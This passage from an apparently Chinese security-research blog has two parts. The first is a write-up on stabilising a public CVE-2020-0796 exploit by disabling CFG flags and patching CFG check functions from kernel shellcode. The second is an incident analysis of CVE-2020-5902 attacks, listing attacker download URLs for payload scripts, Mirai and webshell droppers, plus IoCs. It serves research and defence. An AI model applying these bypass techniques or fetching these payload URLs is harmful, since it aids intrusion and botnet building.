随后,我们尝试了一些CFG绕过的方法,包括替换内存申请API间接调用地址,强制修改进程CFG启动标志等,这些方法无一例外都失败了。但在尝试过程中,ZecOps在他的漏洞分析利用文章中提到的一篇文章给了我们启发。zerosum0x0这篇文章分析了cve-2019-0708漏洞内核shellcode不能稳定利用的原因,其中提到了微软针对Intel CPU漏洞的缓解措施,KVA Shadow。
我们再次详细分析了导致MiFastLockLeafPageTable调用失败的原因,发现MiFastLockLeafPageTable函数中的分页表地址(即下图中的v12)可能会无效。
我们根据KVA Shadow缓解措施原理,猜测这是本次测试exp崩溃的根本原因。内核shellcode在调用API申请用户层内存时,由于KVA Shadow对于用户层和内核层的系统服务调用陷阱,如果IRQL等级不是PASSIVE_LEVEL,无法获取到正确的用户层映射地址。
解决问题
通过参考zerosum0x0文章中修正CVE-2019-0708 payload来绕过KVA Shadow的代码,但出于时间以及系统稳定性等多方面因素,我们暂时放弃了这种方法,转而尝试通过一种更简单和容易的方式来解决这个问题。
显而易见地,如果我们能够在内核shellcode中降低系统调用中的IRQL,将其调整为PASSIVE_LEVEL,就能够解决后续shellcode执行时由于用户态内存分配出现崩溃的问题。但在公开资料的查找过程中,我们并没有找到针对win10系统的IRQL修改方法。
于是,我们从崩溃本身出发,试图对这种情况进行改进。由于内核shellcode是从DISPATCH_LEVEL的IRQL开始执行的,调用内存分配等API时,可能因为分页内存的异常访问导致崩溃,于是我们尝试避免系统访问可能崩溃的分页内存。
在重新比对分析crash_B和成功执行的利用代码时,我们发现MiCommitVadCfgBits函数中会检查进程的CFG禁用标志是否开启(下图中的MiIsProcessCfgEnabled函数)。如果能够跳过CFG的处理机制,那么就可以避免系统在内存申请过程中处理CFG位图时对可能存在问题的分页内存的访问。
进一步对MiIsProcessCfgEnabled进行分析,该标志位在进程TEB中,可以通过GS寄存器访问和修改。
我们在内核shellcode调用zwAllocateVirtualMemory API之前修改CFG标志,就可以避免大部分崩溃情况(即B类型),顺利完成用户态内存的分配。需要一提的是,win10在内存申请时,大部分系统处理过程都是针对CFG的相关处理,导致B类型崩溃产生的次数在实际测试中占比达80%以上,所以我们没有考虑A类型崩溃的情况。
参考Google Researcher Bruce Dawson有关windows创建进程性能分析的文章 <O(n^2) in CreateProcess>
实际修改shellcode遇到的问题
在修改CFG标志位解决大部分内核shellcode崩溃的问题后,我们在实际测试中又发现,该exp无法执行用户层shellcode(即exp执行第三阶段)。经过分析发现,这是由于用户层shellcode会被用户层CFG检查机制阻断(参考:https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html)。CFG阻断可以分为两种情况:一是对用户层APC起始地址代码的调用;二是用户层shellcode中对创建线程API的调用。下图的代码就是针对第二种情况的阻断机制:只有当线程地址通过CFG检查时,才会跳转到指定的shellcode执行。
这里我们采用了zerosum0x0文章中的方式:在内核shellcode中,patch CFG检查函数(ldrpvalidateusercalltarget和ldrpdispatchusercalltarget),跳过CFG检查过程来达到目的。需要注意的是,在内核态修改用户态代码前,要修改cr0寄存器来关闭代码读写保护。
另外,在patch CFG检查函数时,使用相对偏移查找相应的函数地址。由于CVE-2020-0796只影响win10 1903和1909版本,因此这种方法是可行的。但如果是其他更通用的漏洞,还需要考虑一种更加合理的方式来寻找函数地址。
最终测试
我们在win10 1903(专业版/企业版)和win10 1909(专业版/企业版)中测试了代码。经过测试,修改后的exp代码执行成功率从不到20%上升到了80%以上。但我们的修改仍然是不完美的:
- 本文并没有解决漏洞利用阶段可能出现的问题。尽管chompie1337的漏洞利用阶段代码已经非常完善,但仍不是100%成功。考虑到漏洞利用阶段出现崩溃的概率非常低(在我们的实际测试中,出现概率低于10%),如果系统处于流畅运行,这种概率会更小,我们的exp仍然使用了chompie1337在漏洞利用阶段的代码。
- 在本文中,我们尝试解决了由CFG处理机制导致的崩溃情形(即类型B的情况),没有从根本上解决内核shellcode执行阶段的崩溃。在这个阶段,shellcode仍然可能导致系统崩溃出现蓝屏,但这种概率比较低,在我们的测试中没有超过20%。
- 在使用本文的方式成功执行用户态shellcode之后,系统处于一种不稳定状态。如果系统中有其他重要进程频繁进行API调用,系统大概率会崩溃;如果仅通过反弹的后台shell执行命令,系统会处在一种相对稳定的状态。我们认为,对渗透测试来说,改进后的exp已经基本能够满足需求。
其他方案
除本文讨论的内容外,还可以通过内核shellcode直接写文件到启动项的方式来执行用户态代码。从理论上讲,这种方式能够避免内核shellcode在申请用户层内存时产生崩溃的问题,但对于渗透测试场景而言,该方法需要等待目标重启主机,实时性并不高,本文不在此进行具体讨论。
总结
针对网络公开的CVE-2020-0796 exp在实际使用过程中会产生崩溃的问题,本文分享了一些方法来解决这些问题,以便满足实际在渗透测试等应用场景中的需求。尽管本文的方法不尽完美,但我们希望我们的研究工作能够为诸位安全同僚提供一些思路。我们也会在后续的工作当中,持续对此进行研究,力图找到一种更简单、通用的方式解决问题。
F5 RCE(CVE-2020-5902)在野攻击事件调查
F5 Networks官方在7月1日公布了BIG-IP系统的TMUI接口中存在一个严重的远程代码执行漏洞(CVE-2020-5902)。利用此漏洞的攻击层出不穷,我们对这些事件进行了总结,以期对近日来的事件进行完整阐述。
漏洞简述
该漏洞允许未授权的远程攻击者通过向漏洞页面发送特殊构造的数据包,在系统上执行任意系统命令、创建或删除文件、禁用服务等。
根据360安全大脑测绘云(QUAKE网络空间测绘系统)数据,截至2020年7月10日,全球至少有80000台存在此漏洞的资产,具体分布如下图所示:
通过对该漏洞活跃情况研判,得到其全球态势和漏洞生命周期:
从360安全大脑的全网视野里可以看出,在7月2日漏洞利用细节公布,7月4日开始传播后,7月6日全网受影响设备居于峰值,此后由于缓解措施发布实施,漏洞活跃状态逐步回落。
时间线
- 2020-7-1:F5 Networks官方发布通告,缓解措施为在配置文件中添加以下内容:
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
- 2020-7-2:漏洞相关技术细节公布
- 2020-7-3:漏洞扫描流量被监测到
- 2020-7-5:@x4ce在推特上公开披露漏洞利用PoC
- 2020-7-6:metasploit集成exp
- 2020-7-7:研究人员发现F5官方发布的缓解措施能够被绕过;而监测发现,在推特发布6小时前,野外即有bypass的利用payload;同日,F5官方更新通告,修复后的配置内容为:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
- 7.10日, F5官方再次更新通告,配置更新为:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
漏洞攻击情报
根据NCC groups发布的报告,7月4日就有攻击者尝试使用该漏洞进行攻击,但攻击者数量较少;360安全大脑专家云的事件调查专家也在国内观测到,在exp公布前几个小时,已经存在利用twitter上公布的poc进行扫描的流量;完整功能的exp公布后,扫描流量也随即改变。
从exp公开发布起的5天内,360就已在国内捕获到超过2万次CVE-2020-5902的扫描请求,其中绝大部分为通过推特或其他渠道公开获取的PoC或exp以及metasploit exp。可以看出,该漏洞已经引发了大量关注。截止目前我们尚未观测到国内有相关资产已经遭受攻击。
尽管绝大多数扫描或攻击行为并非由专业网络攻击者发起,但他们不会错过如此的“大好机会”。仅仅在exp公开(7月5日)后不到一天的时间内,国外安全研究员发现已经开始有攻击者成功地利用漏洞进行攻击。
攻击手段
根据我们的观察分析,目前攻击手段主要包括以下几种。
利用cve-2020-5902,下发脚本,下载远程payload执行
我们分析推测,恶意脚本通过fileSave.jsp接口上传到tmp目录,之后利用tmshCmd.jsp接口执行。从手法上来看,此类攻击极有可能是利用msf相关模块进行的。
- Payload地址:http://217.12[.]199[.]179/b.sh
脚本下发时间:2020年7月6日
脚本内容:
脚本功能:
创建crontab(即linux系统的计划任务),从远程地址http://217.12.199[.]179/b.sh获取脚本并执行;该脚本为b.sh的复制,我们推测此任务是为后续脚本下发做准备。
- Payload地址:http://45.77.28[.]70[:]80/inf5.sh
脚本下发时间:2020年7月6日
脚本内容:
脚本功能:
使用curl命令,从地址http://45.77.28[.]70[:]80/inf5.sh下载脚本执行。
inf5.sh是一个安装脚本,用来在/etc/init.d目录下创建文件network2,释放脚本/etc/.modules/.tmp,并将network2加入开机启动项,最后执行.tmp脚本;network2文件内容即为启动.tmp。
.tmp脚本是一个downloader,用来从目标地址下载demo.txt到/tmp/dvrHelper并执行。dvrHelper是开源的botnet Mirai修改的一个变种。
- Payload地址:http://103.224.82[.]85[:]8000/zabbix
脚本下发时间:2020年7月6日
脚本内容:
脚本功能:
从地址http://103.224.82[.]85[:]8000/zabbix下载到/var/log/F5-logcheck,使用touch命令修改时间戳,将/var/log/F5-logcheck加入rc.local开机脚本中并执行。分析时,目标地址已不可用,但根据国外研究人员获取到的信息,该样本是一个go语言编写的agent和控制器GoMet。
利用cve-2020-5902,通过命令或脚本下发php webshell
除了下发脚本执行以外,有的攻击者选择上传webshell以便获取持续的权限。(详见 RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence)
cve-2020-5902结合hsqldb Java反序列化漏洞执行命令
2020年7月7日,有研究人员发现hsqldb 中存在java反序列化漏洞,并结合该漏洞实现了一种新的利用方式。在此利用方式发现后的短时间内,有攻击者利用此方式发起了攻击,并且利用相似的方式绕过了F5 Networks官方通告中的缓解措施;而6小时后,才有研究人员公开宣布,缓解措施可被绕过。由此可见,在利用CVE-2020-5902进行攻击的人员中,不乏较高能力的攻击者。
攻击者关联
我们对网络上公布的攻击事件进行了进一步的分析。在直接利用cve-2020-5902下发的脚本和webshell中,我们认为其中至少三个(payload为inf5.sh和zabbix的脚本,以及bg_status.php)是来自同一攻击者/攻击组织。
虽然两个脚本内容和功能完全不同,但我们在对inf5.sh脚本进行关联分析时,发现了一个新的脚本(dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c),该脚本在目标主机中释放了新的payload,并清除了上一阶段释放的文件,其中包括/var/log/F5-logchec*,/etc/init.d/network,/tmp/dvrHelper以及bg_status.php。
另外,攻击者在释放新的payload时,使用了与创建webshell相同的手段,即”echo [base64 encoded content] | base64 –d > [file]”。因此,结合之前清除的文件名信息,如果该脚本确实来自攻击者,那么可以认为,这些不同的payload是由同一个攻击者在不同时间植入目标系统的。
在对inf5.sh分析时,我们还关联到了另外的IP:45.249.92[.]59。该IP在5月初-6月间被使用;我们分析了相关样本和脚本后认为,这是在45.77.28[.]70之前被用于存放文件的服务器IP,现已关闭。
通过进一步的分析我们发现,该攻击者/攻击组织并非“单线程”攻击:他们还使用相同的手法,利用TOTOLINK路由器的远程代码执行漏洞对IoT设备进行攻击,相关payload同样位于服务器45.77.28[.]70上。
从这些行为来看,我们认为,这些攻击背后是一个攻击组织而非个人,主要通过漏洞利用方式入侵linux或IoT设备,目的即为构建僵尸网络以满足其利益需求。
小结
根据现有的攻击行为来看,攻击者发起的主要是无差别攻击,通过漏洞对目标系统实施控制,即试图将存在漏洞的系统作为其僵尸网络的一部分,以获取利益。还有一部分攻击者将webshell上传到存在漏洞的系统,来获取进一步的控制。
虽然我们暂未得知是否有更严重的攻击事件出现,但可以推测,攻击者能够通过漏洞上传任意文件、执行任意系统命令,那么,他们同时也具备了窃取敏感信息、文件加密勒索甚至破坏系统的能力。在cve-2020-5902影响如此广泛,并且引起众多攻击者/攻击组织关注的情况下,我们只能推测,这些事件的发生是迟早的,该漏洞的严重程度不可小觑。
尽管F5 Networks在其通告中给出了临时缓解措施并且在不断更新,我们仍然建议将系统版本升级至不受影响的版本(如15.1.0.4),以避免由于新的绕过技术出现导致现有的缓解措施失效,给网络系统带来不必要的损失。
IoCs
HASH
bfa96a2ddb39a5e81e32a275aa6fc134030279ddde6c116d41945142328465ab
dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c
IP
45.249.92.59
45.249.92.60
URL
http[:]//217.12.199.179/b.sh
http[:]//45.77.28.70:80/inf5.sh
http[:]//103.224.82.85:8000/zabbix
参考链接
[1] https://support.f5.com/csp/article/K52145254
[2] https://twitter.com/x4ce/status/1279790599793545216
[3] https://twitter.com/TeamAresSec/status/1280590730684256258
[5] https://twitter.com/joaomatosf/status/1279566951442976768
[6] https://twitter.com/buffaloverflow/status/1280258870942760963
[7] https://twitter.com/TeamAresSec/status/1280553293320781825
[8] https://twitter.com/bad_packets/status/1279611256547143680